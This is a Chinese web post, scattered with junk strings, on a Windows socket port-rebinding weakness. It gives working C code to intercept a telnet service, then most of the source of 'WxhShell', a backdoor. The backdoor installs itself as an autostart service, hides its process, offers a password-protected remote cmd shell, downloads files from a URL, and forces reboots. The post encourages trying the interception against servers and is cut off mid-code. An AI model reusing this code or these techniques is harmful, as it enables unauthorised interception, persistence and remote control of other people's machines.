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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :|m~<'g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7u`}t83a #hE3~+i saddr.sin_family = AF_INET; o$blPTN ,I2reG saddr.sin_addr.s_addr = htonl(INADDR_ANY); jC/JiI (;2J(GZ:$U bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); { ck :LIKp; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l6`d48U 2;?wN`}5g= 这意味着什么?意味着可以进行如下的攻击: 3ciVjH>i 7ck0S+N'b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +sR *d owpJ7S1~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #`vGg9 ILr6W@o5A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^pQ;0[9Y0 d"d)<f
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %\{?(baOA Eps\iykB 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tFST.yT>zg bJ,=yB+0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eZ.0,A*1B1
S9"y@F
< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ANpY qV WlQ&Yau #include dVmAMQk.g #include <1g 1hqK3 #include E-U;8cOMv #include | 7'yk__m DWORD WINAPI ClientThread(LPVOID lpParam); ]g-qWSKU int main() 9}qfdbI { c7nk~K[6 WORD wVersionRequested; +} ! F(c DWORD ret; }rMpp[ WSADATA wsaData; G4exk5 BOOL val; hA,rSq SOCKADDR_IN saddr; XFf+efh SOCKADDR_IN scaddr; 0[!gk]p int err; lRATrp#T SOCKET s; ^SSOh# SOCKET sc; HH~
du int caddsize; @#--dOWYR HANDLE mt; Ye=7Y57Nr DWORD tid; hzPB~obC wVersionRequested = MAKEWORD( 2, 2 ); u FYQ^ err = WSAStartup( wVersionRequested, &wsaData ); !qGx(D{\ if ( err != 0 ) { I`$I0 printf("error!WSAStartup failed!\n"); dG~B3xg;5i return -1; ??%T } RAuAIiQ saddr.sin_family = AF_INET; d7K17KiC >->xhlL* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >*i8RqU D)~nAkVq saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HAUTCX saddr.sin_port = htons(23); -IsdU7} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M Xt + { ]S2[eS
printf("error!socket failed!\n"); g@6X|W5,J return -1; wR<QeH'V } :-WCW);N val = TRUE; dt0E0i //SO_REUSEADDR选项就是可以实现端口重绑定的 `~+a=Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O7'^*"S { X$h~d8@r printf("error!setsockopt failed!\n"); l0_E9qh-i return -1; [U7,\o4w } 19-yM`O //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &Cpxo9- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *DI:MBJY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }!7DF RdVis|7o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K\E]X\: { <QW1fE ret=GetLastError(); :8|3V~%m printf("error!bind failed!\n"); *Qwhi&k return -1; 79B`w
# } |`;1p@w" listen(s,2); (xSi6EZ6; while(1) 8qYGlew, { : )"jh` caddsize = sizeof(scaddr); f`]E]5? //接受连接请求 nIKT w sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dVtLYx if(sc!=INVALID_SOCKET) M^Ay,jK! { 2l/5i]Tq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YM.IRj2/1 if(mt==NULL) /R$x-7t)^( { y~ 4nF printf("Thread Creat Failed!\n"); 7(USp#" break; ~rJw$v } DoB3_=yJ+ } MG5Sn*(C CloseHandle(mt); ,~?A.
5 } iK:qPrk- closesocket(s); {,C8}8a W WSACleanup(); %ih7Jt return 0; +P)[|y +e } !#gE'(J;c DWORD WINAPI ClientThread(LPVOID lpParam) ^8*SCM_A { s!fY^3 SOCKET ss = (SOCKET)lpParam; 'xXqEwi4 SOCKET sc; w|FVqX unsigned char buf[4096]; Y+`-~ 88 SOCKADDR_IN saddr; 0i(?LI_S long num; ggsi`Z{j? DWORD val; rxI&;F# DWORD ret; tBI+uu aa2 //如果是隐藏端口应用的话,可以在此处加一些判断 s=Q*| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 QV7c9)<]'} saddr.sin_family = AF_INET; R$&&kmJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '{k Nbx51 saddr.sin_port = htons(23); YeVc,B' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k:@Ls { m+^;\DFJ, printf("error!socket failed!\n"); 3[i!2iL. return -1; ot<o& } 9Kx:^~}20o val = 100; \HEo8~TY
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y[]+C8"O { ]`H.qV ret = GetLastError(); u0KZrz return -1; =(5GU<} } i[^lJ)[>N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &j@J<*k { 5Zm_^IS ret = GetLastError(); ~teW1lMu( return -1; EAE\Xv } v]SE?xF{U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6$<o^Ha*R { !;!~5"0~" printf("error!socket connect failed!\n"); +5|nCp6||j closesocket(sc); =i>F^7)U1 closesocket(ss); {,2_K6# return -1; EAXU{dRV } Jl4XE%0 while(1) q/-j`'A_pb { mqT0^TNPcl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LA %al @ //如果是嗅探内容的话,可以再此处进行内容分析和记录 T`{MQ:s //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I>o;
%} num = recv(ss,buf,4096,0); |(v=1#i if(num>0) TZyQOjUu send(sc,buf,num,0); XJ/kB8 else if(num==0) F S+^r\) break; SWd[iD num = recv(sc,buf,4096,0); NKhR%H if(num>0) #$B,8LFz,$ send(ss,buf,num,0); yzR=:0J else if(num==0) U`_vF~el~ break; ZDJWd=E } 2Wf qgR[3 closesocket(ss); v+bjC closesocket(sc); I/V#[K C return 0 ; }V,M0b> } B^Mtj5Oc :!!`!*!JH >:E-^t% ========================================================== )stWr r& lfeWtzOf 下边附上一个代码,,WXhSHELL 4EbiCSo ^Es)?>eah ========================================================== :I(gz~u6 )nxIxr0d- #include "stdafx.h" n<&R"89 &+^ Y>Ke #include <stdio.h> (w
B[ ]O$@ #include <string.h> ^uElQI #include <windows.h> |L{dQ)-'l #include <winsock2.h> =e{KtX. #include <winsvc.h> ;]x5;b9` #include <urlmon.h> 6YGr"Kj & gF5EtdN?| #pragma comment (lib, "Ws2_32.lib") 5mVu]T` #pragma comment (lib, "urlmon.lib") (gB=!1/|G bxe 97] #define MAX_USER 100 // 最大客户端连接数 lD#1"$Coz #define BUF_SOCK 200 // sock buffer i3j jPN! #define KEY_BUFF 255 // 输入 buffer n(S-F g T-i]O*u #define REBOOT 0 // 重启 Q9zpX{JT #define SHUTDOWN 1 // 关机 K#< Wt5 H,` XCG #define DEF_PORT 5000 // 监听端口 ^V]DY!@k3_ k T>}(G|| #define REG_LEN 16 // 注册表键长度 7Q}@L1A9F, #define SVC_LEN 80 // NT服务名长度 F|{?GV%hF %k)I=| // 从dll定义API "0)G|pZI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pT$AdvI] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &uW.V+3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3h4"Rv=, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )!-'S H o}Np}PE6 // wxhshell配置信息 &B7KWvAy struct WSCFG { Utp\}0GZY int ws_port; // 监听端口 YKd?)$J char ws_passstr[REG_LEN]; // 口令 Mg/2w int ws_autoins; // 安装标记, 1=yes 0=no bA,D] char ws_regname[REG_LEN]; // 注册表键名 wVtBeZa char ws_svcname[REG_LEN]; // 服务名 4FdH:os char ws_svcdisp[SVC_LEN]; // 服务显示名 |JQKxvjT char ws_svcdesc[SVC_LEN]; // 服务描述信息 |XG7UH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Kp;o?5H int ws_downexe; // 下载执行标记, 1=yes 0=no kcUt!PL char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Te#[+B? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qrYeh`Mv `2 }; 2F7R,rr
\Da$bJ // default Wxhshell configuration L-dKZ8Q struct WSCFG wscfg={DEF_PORT, t}l<#X5 "xuhuanlingzhe", uB5o
Ghu- 1, O0YGjS|d "Wxhshell", 4q8%!\A+ "Wxhshell", $dw;Kj'\ "WxhShell Service", CFxs`C^ "Wrsky Windows CmdShell Service", vdzC2T "Please Input Your Password: ", 5L#M7E 1, U6PUt'Kk@ " http://www.wrsky.com/wxhshell.exe", '|R|7nQAj "Wxhshell.exe" a9Rh }; ~zRd||qv I =pd jD // 消息定义模块 -H]O&u3'c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M
-TK char *msg_ws_prompt="\n\r? for help\n\r#>"; uGWk(qn char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =&GV\ju char *msg_ws_ext="\n\rExit."; i+3b)xtW7 char *msg_ws_end="\n\rQuit."; 3I(H.u char *msg_ws_boot="\n\rReboot..."; sOmYQ{R char *msg_ws_poff="\n\rShutdown..."; xw
Qkk char *msg_ws_down="\n\rSave to "; *A`^ C 0AenDm@9 char *msg_ws_err="\n\rErr!"; XWV ~6" char *msg_ws_ok="\n\rOK!"; rE~O}2a#H '9XwUQx char ExeFile[MAX_PATH]; 4HAfTQ 1G int nUser = 0; IYN`q'%| HANDLE handles[MAX_USER]; "&F/'';0}E int OsIsNt;
Y7HWf kfV}w, SERVICE_STATUS serviceStatus; N@S;{uK SERVICE_STATUS_HANDLE hServiceStatusHandle;
t-/^ O "p\KePc;@ // 函数声明 `0N/
/Q int Install(void); \g/E4U.+ int Uninstall(void); :;QLoZh^ int DownloadFile(char *sURL, SOCKET wsh); S)?B
I int Boot(int flag); m`aUz}Y>c void HideProc(void); p9J( ,} int GetOsVer(void); l[Oxf| int Wxhshell(SOCKET wsl); X3vrD{uNU void TalkWithClient(void *cs); Uz_{jAhW] int CmdShell(SOCKET sock); L^}kwu# int StartFromService(void); QKxuvW int StartWxhshell(LPSTR lpCmdLine); #a|5A:g% ~8K~@e $./ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); **"sru;@= VOID WINAPI NTServiceHandler( DWORD fdwControl ); V6N#%(?3 (?(ahtT4T // 数据结构和表定义 Emo]I[<&q SERVICE_TABLE_ENTRY DispatchTable[] = .w&Z=YM { ?##GY;# {wscfg.ws_svcname, NTServiceMain}, oT w1w {NULL, NULL} -v]
0@jNe };
8~7EWl 'yqp // 自我安装 Lm/^ 8V+ int Install(void) ~ nIZg5 { ezeGw?/ char svExeFile[MAX_PATH]; 1Cthi[B HKEY key; 0vEa]ljS strcpy(svExeFile,ExeFile); ;F5%X\t- 6}0#({s:R // 如果是win9x系统,修改注册表设为自启动 WqAP'x 1 if(!OsIsNt) { SBA;p7^" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#OKeMK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ M-bE= RegCloseKey(key); }|;n[+ } if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }T6jQ:?@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^`$KN0PY RegCloseKey(key); $: -Ptm@ return 0; ;lldxS } >:Ec } BScysoeD } 1'=brc YR else { )xU70:X _]NM@'e // 如果是NT以上系统,安装为系统服务 <K~#@.^` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {^v50d if (schSCManager!=0) (fl2?d5+C { Sc(2c.HO* SC_HANDLE schService = CreateService mGX;JOjZ ( Vs(;al' schSCManager, yl*S|= 8;k wscfg.ws_svcname, U i;o/Z3 wscfg.ws_svcdisp, 4V=dD<3m SERVICE_ALL_ACCESS, h&XyMm9C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |Ia46YS SERVICE_AUTO_START, ;tj_vmZ@R SERVICE_ERROR_NORMAL, 6YN4] svExeFile, Sx}h$E: NULL, `8Gwf;P1 NULL, LY"/ Q NULL, =i.[|g" NULL, GlaWBF# NULL \J6T:jeS, ); X~x]VKr/ if (schService!=0) <[*s%9)'9 { b`IC)xN$ CloseServiceHandle(schService); b]Jh0B~Y CloseServiceHandle(schSCManager); YVzK$k'3U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f-#fi7 strcat(svExeFile,wscfg.ws_svcname); 5 p750`n if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dW91nTQ: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E:%%Dm RegCloseKey(key); A%Ao yy4E return 0; NLj0\Pz|B } edm&,ph] } =,sMOJc> CloseServiceHandle(schSCManager); c~cYN W: } 9yQ[ *
} b"J(u|Du` FQ[::*- return 1; 0tA+11Iu } B^oXUEOImq % 'P58 // 自我卸载 z E{.oi int Uninstall(void) *Owq_)_(| { UO</4WJ HKEY key; K[sfsWQ. D[<8(~VP if(!OsIsNt) { Fw=-gb_. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xi-^_I RegDeleteValue(key,wscfg.ws_regname); <K)^MLgN RegCloseKey(key); fO9e ; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ c:(HUo# RegDeleteValue(key,wscfg.ws_regname); Hkpn/,D5 RegCloseKey(key); U,/>p=s return 0; yNO5h]o } LJT+tb?K } >%xJ e' } @o8\`G else { Lq yY??\@ _m@QeO'yh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;i1H {hB if (schSCManager!=0) :.@gd7T { z}Xn>-N- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1Azigd0% if (schService!=0) l("_JI { R#gip if(DeleteService(schService)!=0) { )wAqaG_d CloseServiceHandle(schService); {>Zc#U' CloseServiceHandle(schSCManager); ]zu"x9-` return 0; Z$T1nm%lo: } ;]|Z8#s CloseServiceHandle(schService); )t=Cj?5 } G<$UcXg CloseServiceHandle(schSCManager); JGJQ5zt } @>JO &,od } R}*e% EG/ %3Y&D] return 1; #lNi\Lw+j } ppS,9e- Riw#+#r]/ // 从指定url下载文件 ]XU?Wg int DownloadFile(char *sURL, SOCKET wsh) +DksWbD { }9jy)gF*e HRESULT hr; \acjv|] char seps[]= "/"; Uq7 y4zJ char *token; +
6O5hZ char *file; w$pBACX char myURL[MAX_PATH]; [CJ&Yz Ji char myFILE[MAX_PATH]; 0IxXhu6v @2]_jW strcpy(myURL,sURL); JhIgqW2 token=strtok(myURL,seps); S's\M5 while(token!=NULL) m@)K]0g<f { 2\W[ ItxL0 file=token; Rm{S, token=strtok(NULL,seps); EG2NE,,r } eQNo'cz rm<(6zY GetCurrentDirectory(MAX_PATH,myFILE); e!Y:UB2
7u strcat(myFILE, "\\"); GRS[r@W[1 strcat(myFILE, file); Zn|vT&:Hg send(wsh,myFILE,strlen(myFILE),0); <T{PuS1<o send(wsh,"...",3,0); q B5cF_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7$k[cL1 if(hr==S_OK) ,ie84o return 0; {!@Pho) Q else \2@OS6LUe return 1; IZoa7S&t YeK PoW } nxw]B"Eg Z25^+)uf*U // 系统电源模块 pS;jrq
I# int Boot(int flag) 1 f).J { Q&rpW:^v HANDLE hToken; `XS6t)!ik TOKEN_PRIVILEGES tkp; UJ<eF/KSmG LS*^TA(I[ if(OsIsNt) { E$T)N U\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OpA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q3#07o_dV tkp.PrivilegeCount = 1; kK>PFk( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CQ9B;i` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ojni+} >_ if(flag==REBOOT) { 9;NR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *^ g7kCe( return 0; vE^Hk!^ } L]I)E`s else { 5v<BB`XWp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C AVqjT7 return 0; ^W{+?q' } 0ZlF#PJA } ]^uO3!+ else { LSS3(l[,: if(flag==REBOOT) { a39Kl_\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "WV]|
TS"] return 0; O|}97a^ } 8(&Jy RT else { icOh/G=N; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FhVi|Va return 0; "hdcB
0 } !c(B c^ }
3V>2N)3`A 1-!u=]JDE return 1; aOFF"(]Cl } LxC*{t/>8 E`}KVi57 // win9x进程隐藏模块 LS}dt?78`V void HideProc(void) /:iO:g1 {
QK)"-y}"g 9
N[k ?kUZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c$ya{]a if ( hKernel != NULL ) ov.7FZ+ { RoFy2A=_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }J$Q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D7T(B=S6 FreeLibrary(hKernel); bX23F? } \#Ez["mD
),1MR= return; 7+ QD=j- } }D-h=,]; pHSq,XP- // 获取操作系统版本 ()i8 Qepo} int GetOsVer(void) R/&Bze { ,{!~rSq-l OSVERSIONINFO winfo; Z<T%:F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ke@zS9 GetVersionEx(&winfo); Ju4={^# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lwm2:_\_b return 1; cPZD#";f else )>abB?RZ return 0; :yO.Te
F } u^&2T(xGi l(
/yaZ` // 客户端句柄模块 1$vsw int Wxhshell(SOCKET wsl) dP}=cZ~ { KAH9?zI)M SOCKET wsh; 2A'!kd$2 struct sockaddr_in client; H*BzwbM? DWORD myID; 8DHohhN +dIDFSd while(nUser<MAX_USER) !l-^JPb { ]"Z*Hq
z int nSize=sizeof(client); (lBgWz wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ASME~]]? if(wsh==INVALID_SOCKET) return 1; 1D159 NLB 3}V`]B#a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X;25G if(handles[nUser]==0) 4
qMO@E_ closesocket(wsh); +c$]Q-( else uSh!A nUser++; %5.aC|^} } huVw+vAA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rjqQWfShY X+2 aP'D return 0; B@XnHh5y } ocOzQ13@Y }+ ";W) R // 关闭 socket Jv(9w[ void CloseIt(SOCKET wsh) H=b54.J8& { e}>8rnR{ closesocket(wsh); [ aC7 nUser--; M5DQ{d<r ExitThread(0); mkH{%7n } O/b~TVA g$+u;ER5 // 客户端请求句柄 A<-Prvryt void TalkWithClient(void *cs) +iKs)s_~ { r;m_@*] xDv5'IGBb SOCKET wsh=(SOCKET)cs;
x|C[yu^c char pwd[SVC_LEN]; I{#&!h>]U char cmd[KEY_BUFF]; T;!7GW4E
? char chr[1]; pt[H5 int i,j; MR:GH.uM: T1'8<pJ^ while (nUser < MAX_USER) { *9V;;bY# ~gU.z6us if(wscfg.ws_passstr) { >b9nc\~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]*b}^PQM^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hwgLJY? //ZeroMemory(pwd,KEY_BUFF); ~a@O1MB i=0; 1 ?X(q while(i<SVC_LEN) { S
ykblP37 6;"^Id // 设置超时 ;\~{7 9c fd_set FdRead; wV\;,(<x=% struct timeval TimeOut; a|aRUxa0" FD_ZERO(&FdRead); 1NJ,If] FD_SET(wsh,&FdRead); [4Tiukk( TimeOut.tv_sec=8; :6R0=oz TimeOut.tv_usec=0; hF`e>?bN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W[B%,Km%] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t[gz#' #m 2Ss if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $v|/*1S pwd =chr[0]; 7)iB6RBK if(chr[0]==0xd || chr[0]==0xa) { &.XYI3Ab1 pwd=0; zdY+?s)p break; 0a<:.} } ?1%/G< i++; 8z,i/: } :5 XNV6^| v4_p3&aj // 如果是非法用户,关闭 socket NR3]MGBKv if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2BTFK"=U } %{GYTc \'X |M&i#g<A; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qm30,$\c`~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `>M;f%s o#(z*v@ while(1) { ki/xo^Y2< ERSo&8 ZeroMemory(cmd,KEY_BUFF); s-^B)0T! 0Vu&UD // 自动支持客户端 telnet标准 "$)Nd+ny j=0; y k=o while(j<KEY_BUFF) { [AAG:` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :5kgJu cmd[j]=chr[0]; &E98&[`7 if(chr[0]==0xa || chr[0]==0xd) { L0ZgxG3:g cmd[j]=0; l+# l\q%l break; 2Eq?^ )s } ];@"-H j++; |a!AgvNF } P_:A%T l!Bc0 // 下载文件 :=J~t@ if(strstr(cmd,"http://")) { w[g(8#* send(wsh,msg_ws_down,strlen(msg_ws_down),0); yO@KjCv" if(DownloadFile(cmd,wsh)) m~KGB" send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}=u8(u else 9OIX5$,S; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v=n'#:k } j1{@? else { z\iz6-\&y OC)~psQK switch(cmd[0]) { [Yt!uhww ?$rSbw // 帮助 _Ju@<V$ case '?': { 2^-Z17Z} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @S#>:o| break; }jj@A !N } Z<7FF}i // 安装 j@OGl&'^- case 'i': { f<!3vAh if(Install()) fBgW0o.Bu send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^T}6oUd else FmU>q) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8u+FWbOl] break; B o@B9/ABv } wSrq?U5q // 卸载 VlGg? case 'r': { JzhbuWwF- if(Uninstall()) We^!(G send(wsh,msg_ws_err,strlen(msg_ws_err),0); dV{N,;z else M>Yge~3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :H}a/ x*ur break; D9OI",h } kbij Zj{ // 显示 wxhshell 所在路径 `1I@tz| case 'p': { 3hzI6otKS char svExeFile[MAX_PATH]; Q/e$Ttt4J strcpy(svExeFile,"\n\r"); OKDBzl strcat(svExeFile,ExeFile); ts2;?`~ send(wsh,svExeFile,strlen(svExeFile),0); &r0b~RwUv break; ~N</;{}fL4 } iUcDj: // 重启 eBZ^YY<*g case 'b': { hdFIriE3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L2v
j)( if(Boot(REBOOT)) -#yLH send(wsh,msg_ws_err,strlen(msg_ws_err),0); eK
}AVz}k else { & <{= closesocket(wsh); YuO-a$BP ExitThread(0); }=kf52Am,} } SG6@Rn*^ break; A]VcQ_e } C)2Waj} // 关机 xRZ9.Agv_ case 'd': { :5/P{Co( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .A;D-"! if(Boot(SHUTDOWN)) Z,'#=K send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8"2
Y$*)( else { 6#NptXB closesocket(wsh); b>R/=tx ExitThread(0); !L3M\Q0 } cE7xNZ;Bh break; FB<#N+L\ } zB 6u%u WR // 获取shell }P[xZ_S1 case 's': { *W()|-[V3 CmdShell(wsh); :*GLLjS; closesocket(wsh); !P*1^8b`f ExitThread(0); E;l|I
A/7 break; &<</[h/B/F } ~T<yp // 退出 EC6)g;CO case 'x': { kj(Ko{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,3^gB,ka CloseIt(wsh); 0>#or$:6E break; "tuBfA+f } 11Kbj`sRZ // 离开 |RUx)& case 'q': { hr%O 4&sa send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]lj,GD)c closesocket(wsh); 9Vp|a&Ana WSACleanup(); vfG4PJ 6 exit(1); _C`cO break; xFZA18 } PCl@Ff } Vmj7`w& } aL\vQ(1zO ?b?`(JTR // 提示信息 ,Y~{RgG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); np|3 os } r3a$n$Qw } #BQ7rF7CNE *%JncK' return; K\5'pp1 } : `D[0 l#P)9$% // shell模块句柄 L(tA~Z"k int CmdShell(SOCKET sock) _=RA-qZ" { t7 |uZHKK STARTUPINFO si; }]w/`TF ZeroMemory(&si,sizeof(si)); r3X|*/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; as\6XW$;Q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W@NM~+)e PROCESS_INFORMATION ProcessInfo; x\ieWF1 char cmdline[]="cmd"; u|m>h(O CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [n/'JeG5 return 0; 19od#
d3+ } D3#/*Ky %JBFG.+ // 自身启动模式 %x_c2 int StartFromService(void) %GUu{n<6 { \VmqK&9 typedef struct 8D[8(5 { sW)C6 # DWORD ExitStatus; j-2`yR DWORD PebBaseAddress; :O:Rfmr~ DWORD AffinityMask; Q9X7-\n DWORD BasePriority; bSmF"H0cP ULONG UniqueProcessId; FY%v \`@1* ULONG InheritedFromUniqueProcessId; i3I'n* } PROCESS_BASIC_INFORMATION; S4]}/Imn) g0 ec- PROCNTQSIP NtQueryInformationProcess; @NMFurm p"4i(CWGS static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^p#f B4z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fI"q/+ sY__ak!> HANDLE hProcess; uSSnr#i^j PROCESS_BASIC_INFORMATION pbi; Pf
